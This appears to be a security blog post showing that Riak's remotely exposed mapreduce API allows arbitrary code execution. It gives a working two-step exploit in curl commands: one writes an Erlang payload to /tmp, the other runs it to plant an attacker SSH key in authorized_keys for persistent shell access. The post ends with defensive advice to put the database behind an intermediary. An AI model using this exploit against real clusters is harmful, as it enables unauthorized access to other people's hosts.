MapReduce Phases Are Arbitrary Code Execution
Most databases should never sit directly on an untrusted network. Even when every operation is semantically valid, a database still runs on hardware with finite CPU, memory and I/O — leaving it exposed invites denial-of-service at minimum. Riak’s HTTP API compounds that risk by making mapreduce available remotely, and mapreduce phases are code that executes on your cluster with the permissions of the Riak user.
A reduce phase is supplied as an Erlang module, function name and argument. Riak invokes the function with a list containing the output of the map phases being aggregated. Erlang/OTP is full of functions with the signature
module:fun([any, list], any_json_serializable_term).
which means a crafted query can reach deeply into the VM and host OS. Here is a walkthrough of how that plays out.
Writing a Payload to Disk
First, create an object to run the mapreduce over:
curl -X PUT -H “content-type: text/plain”
http://localhost:8098/riak/everything_you_can_run/i_can_run_better –data-binary @-<<EOF
Riak is like the Beatles: listening has side effects.
EOF
Next, submit a mapreduce job whose map phase ignores its input and returns a list of integers — which Erlang interprets as a string, in this case the path /tmp/evil.erl. The reduce phase then calls the OTP function file:write_file/2 with that path as its first argument and attacker-controlled Erlang code as the second:
curl -X POST -H “content-type: application/json”
http://databevy.com:8098/mapred –data @-<<\EOF
{“inputs”: [ [“everything_you_can_run”, “i_can_run_better”] ],
“query”: [
{“map”: {
“language”: “javascript”,
“source”: “
function(v) {
// “/tmp/evil.erl”
return [47,116,109,112,47,101,118,105,108,46,101,114,108];
}
“
}}, {“reduce”: {
“language”: “erlang”,
“module”: “file”,
“function”: “write_file”,
“arg”: “
SSHDir = os:getenv(“HOME”) ++ “/.ssh/”.
SSH = SSHDir ++ “authorized_keys”.
filelib:ensure_dir(os:getenv(“HOME”) ++ “/.ssh/”).
file:write_file(SSH, <<“ssh-rsa SOME_PUBLIC_SSH_KEY= Fibonacci\n”>>).
file:change_mode(SSHDir, 8#700).
file:change_mode(SSH, 8#600).
file:delete(“/tmp/evil.erl”).
“
}}
]
}
EOF
The result: the supplied code is written verbatim to /tmp/evil.erl. Nothing about this phase is sandboxed; the payload runs with the full privileges of the Riak OS user.
Executing the Payload
Files on disk are only step one. A second mapreduce query uses another tolerant OTP function, file:path_eval/2, to load and execute that Erlang source file inside the VM:
curl -X POST -H “content-type: application/json”
http://databevy.com:8098/mapred –data @-<<\EOF
{“inputs”: [ [“everything_you_can_run”, “i_can_run_better”]],
“query”: [
{“map”: {
“language”: “javascript”,
“source”: “
function(v) {
return [47,116,109,112,47,101,118,105,108,46,101,114,108];
}
“
}}, {“reduce”: {
“language”: “erlang”,
“module”: “file”,
“function”: “path_eval”,
“arg”: “/tmp/evil.erl”,
}}
]
}
Note that path_eval/2 ignores its first argument when the second argument names a file, which makes the map phase above purely formal.
In the example payload, the code adds a public SSH key to the Riak user’s authorized_keys file and cleans up after itself (file:delete("/tmp/evil.erl")). The operator then has shell access as riak@some_host. The attack is demonstrated against a single node, but nothing prevents extending it across every node in the cluster, since Riak distribute phases cluster-wide.
Disk access is not even required. Erlang’s scanner and parser can eval strings directly, and the JavaScript VM is a potential sandbox-escape vector on its own — no Erlang phases needed at all.
The Practical Takeaway
Exposing a database to untrusted traffic is only acceptable when the database was designed from day one for multi-tenancy, sandboxing and resource governance. Those are genuinely difficult constraints to satisfy in a distributed system; most databases, Riak included, are nowhere near that point. Until they are, put the database behind an intermediary that permits only known-safe operations and performs its own rate limiting and payload validation.



